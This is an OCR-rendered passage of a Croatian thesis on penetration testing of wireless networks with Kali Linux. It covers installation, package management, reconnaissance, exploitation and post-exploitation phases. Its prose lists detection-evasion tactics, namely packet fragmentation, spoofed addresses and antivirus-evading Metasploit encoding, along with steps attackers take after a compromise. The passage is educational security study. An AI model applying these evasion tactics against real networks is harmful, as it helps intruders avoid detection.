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1. UVOD

Gotovo cijeli svijet pokriven je uslugama bezicnih WLAN mreza pa je pitanje sigurnosti korisnika,
a1same mreze vazan ¢imbenik. Svakodnevno se mogu pronaci vijesti o raznim oblicima hakiranja
1 zlouporabe tudih podataka u razne svrhe. Medutim, to su samo oni oblici napada koji dodu do
vijesti. Vise od milijun napada godisnje uopce se ne prijavi, a koliko ih onda jos$ ostaje ne
primijeCeno? Javnost digitalnog svijeta sve manje brine o takvim problemima pa je veca

vjerojatnost da ¢e zanemariti neke osnovne mjere zastite svojih sustava.

Kako bi korisnici izvr$ili odgovaraju¢u zastitu svojih sustava, moraju poznavati koje slabosti i
nedostatke sam sustav ima. Upravo je Kali Linux alat koji moZe znatno pridonijeti u povecanju
sigurnosti. Kali je usmjeren na napredno testiranje penetracije ra¢unalnih sustava s kojima se mogu
pronaci slabosti 1 nedostatci sustava prije nego to u¢ine napadaci. Na taj nacin se moze na vrijeme

reagirati i zastiti od moguéih napada.

Zadatak ovog diplomskog rada je upotrebom Kali-a analizirati sigurnost beZiénih mreza te
provodenjem raznih testova ukazati na moguce slabosti racunalnih sustava. Rezultati testova
ukazati ¢e na moguce nacine zastite od odredenih napada. Poznavanjem postupka izvodenja
napada stekne se svijest o stvaranju nacina obrane ili potrebi promjene odredenih postavki sustava

kako se napad ne bi mogao ni provesti.

Prema tome, uvodno poglavlje glavnog dijela rada predstavlja upoznavanje sa softverskim
okruzenjem Kali Linux. Definirano je $to je Kali, kako radi i za $to se koristi. Takoder su opisani
nacini instaliranja za uporabu na vlastitom rac¢unalu, kao 1 izgled radne povrSine sa svim vidljivim

alatima 1 mogu¢im opcijama. Zatim slijedi opis kako azurirati, nadograditi 1 odrZavati Kali.

Kako je poznavanje djelovanja napadaca jedan od najjacih alata obrane od napada, iduce poglavlje
daje uvid u nacin pristupa samom postupku provodenja napada ili penetracijskog testa. Opisane
su faze prikupljanja informacija o ciljanom sustavu te njihovo iskoriStavanje kako b1 se djelovalo

na cilj, a i omogucilo daljnje ili ponovno napadanje.

Na kraju je definirana WLAN mreza i prikazane njene sigurnosne slabosti i nedostatci. Takoder
su opisani razni oblici napada, a isto tako provodeni testovi nad WLAN ovjerom, na¢inima
enkripcije i infrastrukturom. Kao zakljucak su istaknute preporuke za povecanje razine sigurnosti

u bezi¢noj lokalnoj mreZi $to je i1 bila uloga provodenja testova.



2. KALI LINUX

Kali Linux predstavlja okruzenje temeljeno na Debian Linux distribuciji usmjereno na napredno
testiranje penetracije racunalnih sustava. Penetracijski test pojam je koji oznacava ovlasteni
simulirani napad na racunalni sustav. Tako se traze sigurnosne slabosti sustava s moguénoséu
dobivanja pristupa znacajkama i podacima. Upravo Kali sadrzi nekoliko stotina alata usmjerenih
prema razli¢itim zadacima informacijske sigurnosti kao $to su: penetracijski testovi, sigurnosno
istrazivanje, racunalna forenzika i obrnuti inZenjering. OkruZenje je razvila tvrtka Offensive
Security, vodec¢a tvrtka u obucavanju o informacijskoj sigurnosti. Takoder ga uzdrzava sve do

danas.

Prva verzija Kali Linux-a objavljena je 13. ozujka 2013. godine kao cjelovita obrada BackTrack
Linux-a po razvojnim standardima Debian-a. Prema [1] BackTrack je objavljen kako bi pruzio
veliku raznolikost alata za testiranje prodiranja kao i alata za obranu revizorima i mreznim
administratorima koji brinu o sigurnosti svojih mreza. Isti alati su medutim koriSteni od ovlastenih,
ali 1 od neovlastenih (hakeri) testera prodiranja. Posljednja verzija BackTrack-a temeljila se na
Linux-ovom okruzenju Ubuntu koje je bilo Siroko prihvaceno od sigurnosne zajednice, ali je sama
arhitektura stvarala poteskoc¢e u upravljanju nizom alata. Ubrzo je BackTrack zamijenjen Kali

Linux-om koji koristi arhitekturu temeljenu na Debian-u.

2.1. Instaliranje Kali Linux-a

Postoji nekoliko nacina kako instalirati Kali ili ga podi¢i (engl. Boot) na racunalo kao §to su:
direktna instalacija na hard disk racunala, dvostruko podizanje Kali-a sa Windows-om, dvostruko
podizanje Kali-a na Mac hardware-u, samostalno podizanje Kali-a na Mac hardware-u, instalacija
preko enkripcijskog diska, Mini ISO instalacija, instalacija preko mreze PXE. Za izradu ovog rada
koristen je nacin instalacije dvostrukog podizanja-a Kali-a sa Windows-om pa ¢e u ovom dijelu
biti opisan naéin instalacije direktno na hard disk i dvostrukog podizanja sa Windows-om. Ostali
nacini imaju slicne korake a detaljne upute mogu se pronaci u sluzbenoj dokumentaciji na web

stranici Kali-a.
- Direktna instalacija na hard disk

Prvi korak je skinuti Kali sa sluzbene stranice te ga staviti na DVD, ili pripremiti USB koji ima
Kali Linux Live na sebi. U slu¢aju nemogucnosti koristenja jednog od ova dva medija, moguce je
instalirati Kali i preko internet mreze. Za instalaciju je potrebno minimalno 20 GB slobodnog

prostora na hard disku, minimalno 1 GB radne memorije, ali se preporucuje 2GB ili vise, te potpora
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za CD-DVD / USB podizanje sustava. Instalacija zapocinje kada se racunalo stavi u odredeni nacin
podizanja sustava sa odredenog medija. Ubrzo se pojavljuje Kali pozdravni prozor na kojem su
prikazani razni nacini instalacije. Nakon §to se odabere Zeljeni nacin potrebno je odabrati jezik,
lokaciju kao i jezik tipkovnice. Odabrani medij zatim zapo€inje kopiranje Kali-a na disk racunala
te zahtijeva postavljanje mreznog sucelja. Slijedi postavljanje imena za racunalo Sto ¢e stvorit
korisnikov ID, postavljanje vremenske zone, a zatim ¢e se ponuditi odredene opcije za odabir
na¢ina spremanja Kali-a na disk. Nakon toga se postavlja upit zeli li korisnik koristiti mreZzno
ogledalo. Preko njega se instaliraju sluzbeni dodaci sa Kali repozitorija pa je pozeljno odabrati
,»da®“. Posljednji korak je instalacija GRUB-a koji omoguéava korisniku odabir podizanja jednog
od vise operacijski sustava sa diska te ponovno pokretanje sustava kako bi se instalacija uspjesno

zavrsila.
- Dvostruko podizanje Kali sustava sa Windows-om

Ovakav nacin instalacije smatra se jako korisnim, ali treba postupati s oprezom i sigurnosno
pohraniti podatke Windows instalacije na vanjskom mediju. Instalacija je sli¢na kao i direktna
instalacija na disk. Razlika je u tome $to se prvotno treba podijeliti dio diska na kojem se nalazi
Windows u slu¢aju da on zauzima cjelokupan prostor tog dijela. Postupak podjele diska moguce
je obaviti u samom Kali Linux sucelju. Potrebno je postaviti ratunalo u nacin podizanja sa
odredenog medija. Kada se pojavi pozdravni prozor Kali-a potrebno je odabrati opciju ,,Live* §to
¢e pokrenuti Kali Linux na uredaju. Moguce je i1 tako koristiti Kali ali bilo kakve promjene 1
postavke neée ostat spremljene. U aplikacijama Kali-a potrebno je pokrenuti aplikaciju pod
nazivom Gparted. Unutar nje moguce je podijeliti disk po zelji, ali treba imati na umu da kao i u
gore navedenom nacinu instalacije, potrebno je minimalno 20 GB slobodnog prostora. Dakle,
nakon §to se disk podijeli tako da jedan dio ima minimalno 20 GB, potrebno je potvrditi
napravljene postavke i ponovno pokrenuti uredaj. Nakon ovog koraka instalacijski postupak je

jednak kao i u direktnom nacinu.

2.2. Upoznavanje s Kali Linux-om

Prema [2] je trenutna verzija Kali-a najlaksa za koristiti u usporedbi sa dosadasnjim verzijama
Kali-a, ali i BackTrack-a. Medutim, proizvodaci tvrde kako Kali nije ba$ za svakoga. Kali je
okruzenje isklju¢ivo usmjereno prema profesionalnom testiranju penetracije i stru¢njacima za
racunalnu sigurnost. Prema tome Kali nije preporuc¢eno okruzenje za osobe koje nisu upoznate sa
Linux-om. Cak i za iskusne korisnike Linux-a Kali moze biti izazov. Iako je Kali open source

projekt, treba imati na umu da nije wide-open projekt iz sigurnosnih razloga. Tim koji radi na
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okruzenju je malen i pouzdan te su paketi iz repozitorija potpisani od strane clanova tima, §to znaci
da bi dodavanje repozitorija na vlastiti sustav, koji nisu bili testirani od razvojnog tima, bio dobar
nacin izazivanja problema. Takoder, iako je arhitektura Kali-a prilagodljiva na visokoj razini, nije
mogucée dodavati nepovezane pakete i repozitorije. Vazno je spomenuti kako uporaba alata za
testiranje penetracije unutar mreze moze izazvati nepopravljivu Stetu s osobnim i zakonskim
posljedicama. Proizvodaci navode da, ako se radi o stru¢noj 0sobi za testiranje penetracije ili osobi
koja izucava testiranje penetracije s ciljem postizanja certifikata stru¢njaka, za te svrhe ne postoji

bolji alat od Kali-a.

Kao ve¢ spomenuto, Kali obuhvaca velik broj alata za provjeru sigurnosti racunalnih mreza. Takvi
alati u komercijalnom pogledu imaju visoku cijenu pa Kali samim tim ima prednost u koriStenju
iz razloga $to je besplatan. [2] navodi kako Kali nudi besplatne probne verzije takvih komercijalnih
alata koji se mogu nadograditi na potpune placene verzije, a iste se mogu zatim koristiti u Kali

okruzenju.

Applications +

Sl. 2.1. Prikaz radne povr$ine Kali Linux-a



Radna povrsina sastoji se od: trake favorita na lijevoj strani, aplikacijskog i mjesnog menija u
gornjem lijevom kutu te opcija za pristup drugom radnom prostoru, opcija snimanja, postavki
jezika tipkovnice i opcija za prijavu na Internet, odjavu i sli¢no u gornjem desnom kutu. Ikona

,Kali Live* oznacava da je Kali trenutno pokrenut izravno sa instalacijskog medija.

Traku favorita sa lijeve strane radne povr$ine moguce je preurediti po zelji, a opéenito se sastoji
od najcesce koristenih alata 1 aplikacija kojim omogucuje brz pristup. Prva tri alata sa slike 2.1. su
web pretraziva¢, Terminal i upravitelj datoteka, a posljednja tri su tekstualni editor, alat za

preuredenje izgleda i funkcija Kali-a te ikona za prikaz svih aplikacija i alata (Sl. 2.2.).
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Sl. 2.2. Prikaz nakon pritiska ikone za prikaz svih aplikacija

Aplikacije i alati su organizirani po tipu, a za jednostavnije pretrazivanje moguce je upisati trazenu
aplikaciju u traku za pretraZivanje. Raspored aplikacija prema kategorijama moguce je vidjeti

pritiskom na aplikacijski meni iz gornjeg lijevog kuta §to prikazuje sljedeca slika:
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Sl. 2.3. Prikaz aplikacijskog menija

Odabirom odredene kategorije ne prikazuju se svi dostupni alati iz te kategorije nego samo
najceSce koristeni. Treba imati na umu da je samo dio instaliranih alata vidljiv u aplikacijskom
meniju, vecina ih je dostupno isklju¢ivo preko naredbene linije. Kako bi vidjeli ve¢inu instaliranih
alata, u naredbenoj liniji je potrebno traziti ,,usr/share* direktorij [2]. Njih je moguce pokrenuti u
terminalu (SI. 2.4.) upisom imena alata. Meni mjesta (engl. Places) prikazuje linkove na razlicite
lokacije Kali-a (SI. 2.5.).
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2.3. Azuriranje Kali Linux-a

Kao i svaki sli¢an sustav, Kali je potrebno redovito azurirati s ciljem odrzavanja svih alata u korak
sa danaSnjicom. Budu¢i da se radi o sigurnosti, osobito je vazna svaka nadogradnja sigurnosnih
alata. Pored toga korisnik moze i samostalno uredivati svoj sustav dodavanjem razli¢itih alata pod
uvjetom da su iz sluzbenog, testiranog repozitorija. Za sve to postoji APT Package Handling
Utility (apt-get), snazan alat naredbene linije. Koristi se za instaliranje i uklanjanje softverskih
paketa, a isto tako prati verzije svega instaliranog te obavjeStava korisnika u slucaju potrebe za

nadogradnjom. Sljedece osnovne funkcije apt-get alata bi, prema [3], svaki korisnik trebao znati:

- Instalacija aplikacija ili paketa: predstavlja najosnovniju funkciju, primjer sintakse: apt-get
install (ime_paketa)

- AZuriranje: izvore repozitorija potrebno je povremeno provjeriti, preporuca se provjeriti
postoje li azuriranja uvijek prije instalacije novih paketa, primjer sintakse: apt-get update

- Nadogradnja: je funkcija koja ¢e povudi i instalirati sve nove verzije prethodno instaliranih
softverskih paketa, primjer sintakse: apt-get upgrade

- Nadogradnja distribucije: sli¢no funkciji nadogradnje uz dodatne mogucnosti pretrage
izvora po posebno oznaéenim paketima, primjer sintakse: apt-get dist-upgrade

- Uklanjanje: preporuka je sve pakete koji se ne koriste ukloniti, primjer sintakse: apt-get
remove (ime_paketa)

- Automatsko uklanjanje: kako se s vremenom softverski paketi zamjenjuju unaprijedenima,
funkcija automatskog uklanjanja ¢e ukloniti stare pakete koji nisu potrebni za trenutne
funkcionalnosti sustava. Preporuka je pokrenuti automatsko uklanjanje nakon bilo kakvog
oblika nadogradnje, primjer sintakse: apt-get autoremove

- Cistka: za razliku od uklanjanja, ova funkcija uklanja sve konfiguracijske datoteke sa
uredaja S$to je nekad potrebno prilikom ponovne instalacije neke aplikacije, primjer
sintakse: apt-get purge (ime_datoteke)

- Cis¢enje: kako se paketi skidaju sa izvora neraspakirani pa zatim instaliraju, ostavljaju
viSak koji je dosao sa izvora u sustavu. Taj viSak naravno zauzima prostor na disku pa je
ponekad potrebno ocistiti ga, primjer sintakse: apt-get clean

- Automatsko ¢iS¢enje: radi sli¢no kao prethodna funkcija s preporukom pokretanja nakon
bilo kakvog oblika nadogradnje. Automatsko ¢is¢enje e ukloniti sve stare pakete koji su
zamijenjeni novima prilikom nadogradnje, primjer sintakse: apt-get autoclean

- Spajanje vise funkcija u jednu: prethodno navedene funkcije moguce je kombinirati u jednu

funkciju operatorom && u sintaksi:



apt-get update && apt-get upgrade && apt-get dist-upgrade ili
apt-get autoremove && apt-get autoclean.

Za instalaciju i distribuciju aplikacija i paketa trece strane koristi se Debian paket menadzer (dpkg).
Takve aplikacije, koje se moraju nabaviti preko prodavaca, nisu javno dostupne pa apt-get nece
mo¢i locirati pakete za skidanje i instalaciju. Sli¢no kao i za apt-get [3] navodi sljedece osnovne

funkcije:

- Instalacija: nakon skidanja .deb paketa biti ¢e potrebno pozvati naredbu dpkg kako bi iste
instalirali. Takvi paketi obi¢no sadrze sve potrebne informacije za uspjesan rad aplikacije,
primjer sintakse: dpkg -i (ime_paketa.deb / ciljani direktorij)

- Uklanjanje: radi jednako kao i istoimena apt-get naredba te na jednak nacdin upravlja
paketima, primjer sintakse: dpkg -r (ime_paketa.deb)

- Provjera instaliranih paketa: mogucnost trenutnog stanja instaliranog ili uklonjenog

softvera.



3. IZVIDANJE I ISKORISTAVANJE

Prilikom testiranja penetracije ili izvrSenja napada, potrebno je postupiti nekim odredenim
pravilima, odnosno pratiti nekakav postupak dogadanja. Svaki dobar napad ima faze kroz koje
prolazi a te faze su faze izvidanja i iskoriStavanja. Rije¢ je o prvobitnom prikupljanju informacija
0 meti napada 1 mrezi u kojoj se nalazi, a zatim se prikupljene informacije iskoristavaju kako bi se
doslo do cilja. Ovo poglavlje obraditi ¢e teorijsku podlogu koja stoji iza postupka napada te dati

uvid u djelovanje napadaca kada dobiju pristup podacima zbog kojih su napali.

Izvidanje (engl. Reconnaissance) je prema [1] prvi korak pri testiranju penetracije ili izvodenja
napada na ciljanu racunalnu mreZu ili server. Napadaci uobicajeno uloze 1 do 75% cjelokupnog
posla na izvidanje, odnosno na definiranje mete napada i istrazivanje $to ¢e onda dovesti do
moguceg iskoristavanja. Dva su oblika izvidanja koja ¢e biti objasnjena u ovom poglavlju: pasivno

i aktivno.

Iskoristavanje (engl. Exploit) prema [1] predstavlja stvaranje pristupa za postizanje cilja, bilo to
zaustavljanjem pristupa meti napada uskraéivanjem usluga ili uspostavljanjem postojanog pristupa

meti od strane napadaca. Ono se temelji na rezultatima pasivnog i aktivnog izvidanja.

3.1. Pasivno izvidanje

Pasivno izvidanje predstavlja analizu informacija koje su otvoreno dostupne bilo to od same mete
napada ili javnih izvora sa interneta. Kada penetracijski tester ili napadac pristupa tim
informacijama ne djeluje na metu na neuobicajeni nacin. To znaci da aktivnost nece biti uhvacena
ili zapisana, tj. nece biti izravno povezana sa napadacem ili penetracijskim testerom. Iz tog razloga
se pasivno izvidanje provodi na prvom mjestu kako bi se izbjegla moguca identifikacija napadaca
ili davanje bilo kakvih signala o mogu¢em napadu. Gotovo je nemoguce meti napada razlikovati

pasivno izvidanje od uobicajenih aktivnosti.

Napadaci, a isto tako i penetracijski testeri, uobiCajeno prate odredeni proces sakupljanja
informacija Sirokog opsega. Kako bi penetracijski testeri bili ucinkoviti, moraju znati kakve
informacije napadaci traze te kako ¢e informacije biti iskoriStene prije nego krene sakupljanje.
Op¢enito gledano je prvi korak napada ili penetracijskog testa sakupljanje inteligencije otvorenog
izvora (OSINT — engl. Open-Source Intelligence) [1]. Ona predstavlja informacije sakupljene sa
javnih izvora, odnosno interneta. Kakve se informacije sakupljaju ovisi 0 pocetnom cilju
penetracijskog testa. Primjerice, ako se Zeli pristupiti financijskim podacima neke tvrtke, potrebno

je prikupiti informacije kao Sto su imena i biografije od odredenih zaposlenika te njihova
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korisni¢ka imena i lozinke. Uobicajeno se prikupljanje OSINT-a zapocinje sa pregledom javne
internetske aktivnosti mete kao $to su web stranice, drustvene mreze i sli¢no. U primjeru poslovne

tvrtke informacije koje su od koristi su[1]:

- Geografske lokacije ureda koji dijele poslovne informacije, a nemaju stroge sigurnosne
kontrole

- Pregled o mati¢noj tvrtki i svim podruznicama, osobito svih novih tvrtki koje su ste¢ene
spajanjima jer one ¢esto nisu sigurne kao maticna tvrtka

- Imena i kontakt informacije zaposlenika, osobito ime, broj telefona te adresa elektronicke
poste

- Informacije o kulturi poslovanja i jeziku tvrtke Sto ¢e olakSati napade u druStvenom smjeru

- Poslovni partneri i dobavljaci koji ¢e se moguce spojiti u mrezu tvrtke

- Tehnologije koje se koriste jer u slucaju poznatih slabosti napadaci mogu iskoristiti detalje

za izvodenje napada

Pored svih navedenih informacija tu naravno postoji jo§ mnogo vise, potrebno je samo definirati
metu napada te tako razloziti kakve informacije su bitne za izvodenje napada. Jednom kada se
identificira meta napada, koja ima odredenu online aktivnost, potrebno je spoznati IP adrese i
putanje izmedu napadaca i krajnje mete napada. Prema tome izvodi se DNS (engl. Domain Name
System) izvidanje koje pruZa spoznaju o tome kome pripada odredena domena ili niz IP adresa te
0 putanji prema meti. Sam DNS predstavlja bazu podataka koja povezuje imena sa njihovim
pripadaju¢im IP adresama. Prikupljanje tih informacija moze preko DNS registra stvoriti trag o
napadu. Registar moze pokupiti informacije o IP adresi i zahtjevima napadaca, ali one u pravilu
rijetko dodu do krajnjeg cilja. DNS informacije napadac¢i mogu iskoristiti kako bi primjerice nasli

usluge koje su ranjive ili za pronalazak pogresno postavljenih servera i slicno.

Za spoznaju prostora IP adresa potrebno je prvo povezati adrese sa ciljanom stranicom. Prema [1]
se to Cesto postize naredbom whois. Ona dozvoljava pretragu baze podataka koje ima pohranjene
informacije o registriranim korisnicima nekog internetskog resursa. Ovisno o tome kakva se baza
pretrazuje whois ¢e dati informacije kao $to su: imena, fizicke adrese, brojevi telefona, adrese
elektronicke poste, IP adrese te imena DNS servera. Ove informacije napadaci mogu iskoristiti za

spoznaju lokacije i planiranje fizickog napada, ali i za izvodenje raznih drugih napada.

Pitanje odredivanja putanje do cilja, predstavlja uglavnom alat kojim se provjerava ruta paketa od
jednog uredaja do drugog. Kali za odredivanje putanje koristi traceroute, a napadaci informacije

0 putanji mogu iskoristiti za spoznaju [1]:
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- Toc¢ne putanje izmedu napadaca i mete napada
- Vanjske topologije mreze
- Informacija o uredajima kontrole pristupa koji filtriraju promet napada

- Unutrasnjeg adresiranja u slucaju pogresno postavljene mreze

Naredba traceroute ¢e vecinu skokova paketa pokazati filtrirano pa je potrebno koristiti vise alata
kao $to su: hping3, intrace i trace6. Uz njihovu pomo¢ zaobici ¢e se uredaji koji filtriraju pakete i

dobiti cijela putanja.

3.2. Aktivno izvidanje

Aktivno izvidanje temelji se na velikim koli¢inama neprimjetno prikupljenih informacija pasivnog
izvidanja. Dostavlja vise korisnih informacija o napadnutom sustavu, ali poduzete akcije mogu
izazvati alarme zastitnih alata mete $to ¢e razotkriti napad. Sto je korisnost informacija veéa, veéi
je 1 rizik otkrivanja napada. Za povecanje ucinkovitosti aktivnog izvidanja u dostavljanju Sto

korisnijih informacija koriste se skrivene tehnike ili tehnike koje je tesko razotkriti.

Koriste¢i vremenske oznake napadaca, izvornu IP adresu i razne druge informacije meta napada
moze identificirati izvor dolaznog izvidanja. Penetracijski testeri oponasajuci radnje hakera koriste

razne nacina za poticanje aktivnog izvidanja [1]:

- Koriste alat za kamuflazu kako bi izbjegli otkrivanje i aktiviranje alarma
- Skrivaju napad unutar legitimnog prometa
- Oblikuju napad kako bi sakrili izvor i vrstu prometa

- Koriste¢i nestandardne nacine enkripcije ¢ine napad nevidljivim

Prije nego se krene u penetracijsko testiranje ili napad, potrebno je provijeriti jesu li svi nepotrebni
servisi Kali-a onemoguceni ili ugaseni. Ako se to ne uc¢ini moze do¢i do medusobne komunikacije
izmedu servisa napadaca i servisa mete, Sto ¢e alarmirati administratore mete. Uobicajeno se
onemoguci IPv6 kako ne bi najavio prisutnost napadaca na mreZi. Neki alati Kali-a oznacavaju
pakete sa sekvencom za identifikaciju §to moZe biti korisno za analizu nakon testiranja, jer se moze
vidjeti kako mreza otkriva i reagira na napad. Medutim takvi paketi takoder mogu aktivirati

odredene sustave za otkrivanje upada.

Najces¢i pristup aktivnom izvidanju je slanje odredenih paketa prema meti pa iskoristiti pakete
koji su se vratili za dobivanje informacija. Pogodan alat za to je nmap koji manipulira paketima,

ali za uc¢inkovito koristenje mora se pokrenuti s korijenskim ovlastima $to je upravo slucaj u Kali
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terminalu. U pokusaju smanjenje moguceg otkrica, odredene tehnike skrivanja prema [1] ukljucuju

sljedece:

- Prepoznavanje svrhe skeniranja prije testiranja te slanje minimalnog broja paketa potrebnih
za utvrdivanje cilja

- lzbjegavanje skeniranja koja bi se mogla povezati sa ciljanim sustavom i izazvati curenje
podataka.

- Postavke paketa kao Sto su izvorni IP i adresa porta te¢ MAC adresa postaviti slu¢ajnim
generatorom

- Podesavanje vremena za usporavanje dolaska paketa na stranu mete

- Promjenu veli¢ine paketa fragmentiranjem ili dodavanje slucajnih podataka kako bi zbunili

servise sa kontrolu paketa

Kali takoder sadrzi nekoliko alata za prepoznavanje otvorenih portova i operacijskih sustava.
Vedina funkcija tih alata moze se obaviti i preko spomenutog nmap alata. Skeniranje porta je
proces spajanja na TCP i UDP portove kako bi se odredilo kakve usluge i aplikacije rade na
ciljanom uredaju. Koristenje nmap alata za otkrivanje porta biti ¢e otkriveno od strane uredaja za
mreznu sigurnost pa treba imati na umu da uspjeSno skeniranje zahtijeva dobro poznavanje
TCP/IP-a i sli¢nih protokola, a i znanje o radu pojedinih alata. Kako bi napadaci ostali neprimjetni,

ako ve¢ napadanu na portove, napast ¢e samo one koji ih vode ka krajnjem cilju.

Odredivanje operacijskog sustava na udaljenom sustavu provodi se prema [1] aktivno i pasivno.
Aktivnim nacinom napadac¢ Salje normalne i1 preoblikovane pakete prema meti i snima uzorak
odgovora koji se preneseno naziva ,,otisak prsta“. Pasivan naéin podrazumijeva osluskivanje,

odnosno snimanje i analizu niza paketa kako bi se odredile karakteristike paketa.

Kao konac¢ni postupak aktivnog izvidanja smatra se skeniranje ranjivosti. Skeniranje ranjivosti
upotrebljava automatizirane procese i aplikacije kako bi se prepoznale slabosti u racunalnoj mrezi,
operacijskim sustavima ili aplikacijama koje su iskoristive za napad. Ako se provede ispravno,
skeniranje ranjivosti daje popis uredaja, poznate ranjivosti dobivene aktivnim skeniranjem i
potvrdu o tome koliko su uredaji popustljivi na razli¢ite propise. Unato€ tome, skeniranje ranjivosti
dostavlja viSestruke pakete koji se lako otkriju od strane mreZnih kontrola pa je gotovo nemoguce

provesti skeniranje potajno. Autori [1] navode i sljede¢a dodatna ogranicenja:

- Skeniranje ranjivosti temeljeno je na potpisu pa moze otkriti samo poznate ranjivosti i to
ako postoji prepoznatljiv potpis koji se moze primijeniti na metu.

- Velika je vjerojatnost da u¢inak skeniranja sadrzi lazne pozitivne rezultate
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- Skeneri mogu imati negativan utjecaj na mrezu jer mogu prouzrokovati kvar nekih uredaja
- U odredenim nadleznostima skeniranje ranjivosti smatra se hakiranjem i moze biti

nezakonit ¢in.

3.3. IskoriStavanje

Iskoristavanje slijedi nakon pasivnog i aktivnog izvidanja ¢ija je zadaca bila prepoznati sigurnosne
nedostatke, a njih ¢e napadac iskoristiti kako bi dosao do cilja. Faza iskoriStavanja oslanja se na
dva pristupa u postizanju cilja, jedan je sprecavanje pristupa meti uskra¢ivanjem usluga, a drugi
je uspostavljanje postojanog pristupa meti od strane napadaca. Prema [1] postoje odredena

stajaliSta faze iskoriStavanja koje svaka osoba pri testiranju prodiranja mora imati na umu:

- Je li meta potpuno karakterizirana? Ako napadac ne razumije mrezu i arhitekturu sustava,
napad nece uspjeti 1 povecava se opasnost da ¢e napad biti otkriven.

- Jesu li dobro definirane akcije iskoriStavanja ciljnog sustava? Neokarakterizirano
iskoristavanje moze imati nezeljene posljedice, a rezultati Stete bi mogli imati negativan
utjecaj na postupak testiranja. 1z tog razloga bi se pri penetracijskom testu, prije koristenja,
trebala potvrditi sva iskori§tavanja u poznatim postavkama.

- Provode li se sva iskoriStavanja na udaljenoj lokaciji ili lokalno na ciljanom sistemu?
Udaljeno iskoriStavanje sigurnije je za napadace jer postoji manja opasnost od moguceg
otkrivanja napada. Unato¢ tome, lokalno iskoriStavanje daje napadacu vecu kontrolu nad
svim akcijama pa i to smanjuje opasnost od moguce detekcije.

- Koje su potrebne aktivnosti nakon iskoriStavanja? Ako napadal treba izvuci podatke iz
mete onda iskoriStavanje mora podrzati uspostavljanje interaktivne veze.

- Je 1i uvople potreban ustrajan pristup ugrozenom sustavu ili ¢e ugroZavanje biti

kratkotrajno, Sto bi moglo dovesti ka potrebi za potajnim pristupom.

Kako pasivno i aktivno izvidanje oznaava mreZu i sustav mete napada, a takoder identificira
slabosti koje bi mogle biti iskoristene za postizanje cilja, penetracijski testeri imaju veliku sklonost
poduzeti odredene akcije. Zelja im je $to prije dokazati kako mogu ugroziti metu, ali neplanirani
napad nije dobar nacin za postizanje cilja, a moZe Zrtvovati i tajnost koja je potrebna za uspjeh. 1z
tog razloga se primjenjuje postupak oblikovanja prijetnje (engl. Threat Modeling) koji je
prvobitno uveden od strane mreznih planera za razvijanje mjere obrane od napada. Napadaci i
penetracijski testeri su metodologiju obrambenog oblikovanja prijetnje iskoristili u obrnutom
smjeru kako bi bili uspjesniji u napadu. Napadacko oblikovanje prijetnje pristup je koji povezuje

rezultate izvidanja i istrazivanje za razvitak strategije napada. Napada¢ mora razmotriti dostupne
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mete i prepoznati njihov tip, a postoje tri vrste meta napada: primarne, sekundarne i tercijarne meta
napada. Mete koje, kada su ugrozene, odmah podrzavaju postizanje cilja nazivaju se primarnim
metama. Sekundarne mete mogu pruziti odredene informacije i tako podrzati napad ili dopustiti
pristup primarnoj meti. Tercijarne mete Cesto nisu uopée povezane sa ciljem napada, ali se lako

ugroze i mogu pruziti informacije ili odvratiti paznju od stvarnog napada [1].

Dakle, pasivno i aktivno izvidanje definira podlogu napada na metu tj. ukupan broj to¢aka kojim
se moze pristupiti kao ranjivima. Ako nekakav server ima instaliran samo operacijski sustav moze
ga se iskoristiti na ranjivosti koje su vezane iskljucivo za operacijski sustav, medutim koli¢ina
ranjivosti se povecava sa svakom instaliranom aplikacijom. Prema tome napadaci i penetracijski
testeri moraju pronac¢i moguce nacine iskoriStavanja temeljene na poznatim ranjivostima ili onima
koje se daju naslutiti. Prvo mjesto za potragu odredenih ranjivosti ili nedostataka nekih uredaja ili
aplikacija je na stranicama prodavaca jer oni pri objavi novih verzija objave i informacije o
ranjivostima. Ako postoji poznato ranjivo mjesto koje se moze iskoristiti prodavaci ¢e ga naglasiti
svojim kupcima. Namjera im je tako dozvoliti kupcima provjeriti postojanost ranjivosti, ali ¢e
upravo te informacije iskoristiti i napadaci. Postoje tako mnoge online stranice koje prikupljaju,
analiziraju i dijele informacije o poznatim ranjivostima. Proizvodaci Kali-a, Offensive Security,
imaju svoju bazu podataka mogucih iskoristivih ranjivosti koju je moguce lokalno spremiti na

Kali.

Faza iskoriStavanja smatra se najopasnijom kako za napadace tako i za penetracijske testere.
Izravno su u interakciji sa racunalnom mrezom ili samim sustavom mete pa postoji velika
mogucénost da ¢e njihova aktivnost biti zabiljezena ili ¢e se otkriti njihov identitet. Iz tog se razloga,
kao §to je ve¢ spomenuto, akcije moraju provoditi skriveno. Koliko god akcije bile skrivene,
nijedan alat nije nemoguce otkriti pa se koriste razne promjene postavki koje ¢e otezati detekciju.
Racunalne mreze tako imaju razne oblike za kontroliranu obranu od napada kao npr. vatrozidi,
antivirusni softveri i sli¢no. Vecina se antivirusnih softvera oslanja na usporedbu potpisa kako bi
locirali virus 1 druge Stetne podatke. Provjeravaju sve izvrSne datoteke u potrazi za nizovima koda
za koje je poznato da postoje u virusima i onda oglasavaju alarm ako pronadu sumnjive datoteke.
Tako se npr. napadi alatom Kali-a pod imenom Metasploit, oslanjaju na datoteke ¢iji su potpisi s
vremenom prepoznani od prodavaca antivirusnih softvera i tako prijete da ¢e biti otkriveni.
Metasploit na to reagira omogucavanjem kodiranja samostalnih izvrsnih datoteka kako bi se
zaobiSla detekcija istih kao virus. Ipak je Siroko testiranje tih izvrSnih datoteka na javnim

stranicama dovelo do smanjenja ucinkovitosti zaobilaZzenja detekcije antivirusnih softvera.
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3.4. Nakon iskoriStavanja - djelovanje na cilj

Kako je prethodno opisano, iskoriStavanje pretvara pronalaske izvidanja u akcije koje pruzaju
pristup izmedu testera, odnosno napadaca i zrtve napada. Medutim, najvazniji dio napada su akcije
nakon iskoristavanja, tj. kada napadaci dodu do cilja, a rije¢ je o kradi i izvlaenju podataka,
iskoriStavanju slabe provjere pristupa te krada korisnickih vjerodajnica. Hakeri suvremenog svijeta
nisu toliko zaokupljeni iskoriStavanjem koliko tim $to se moZe uciniti pristupom tim podacima.
Napadaci iz ovog dijela izvlace najvecu korist, a jednom kada je sustav ugrozen, napada¢ prema

[1] provodi sljedece aktivnosti:

- Provodi brzo istrazivanje lokalnog okruzenja (provjera infrastrukture, konekcije,
korisnickih racuna, postojanost podataka i aplikacija koje mogu olaksati daljnje napade)

- Pronalazi i kopira ili preureduje datoteke koje ga zanimaju

- Kreira dodatne korisnicke racune i preureduje sustav kako bi podrzao akcije nakon
iskoristavanja

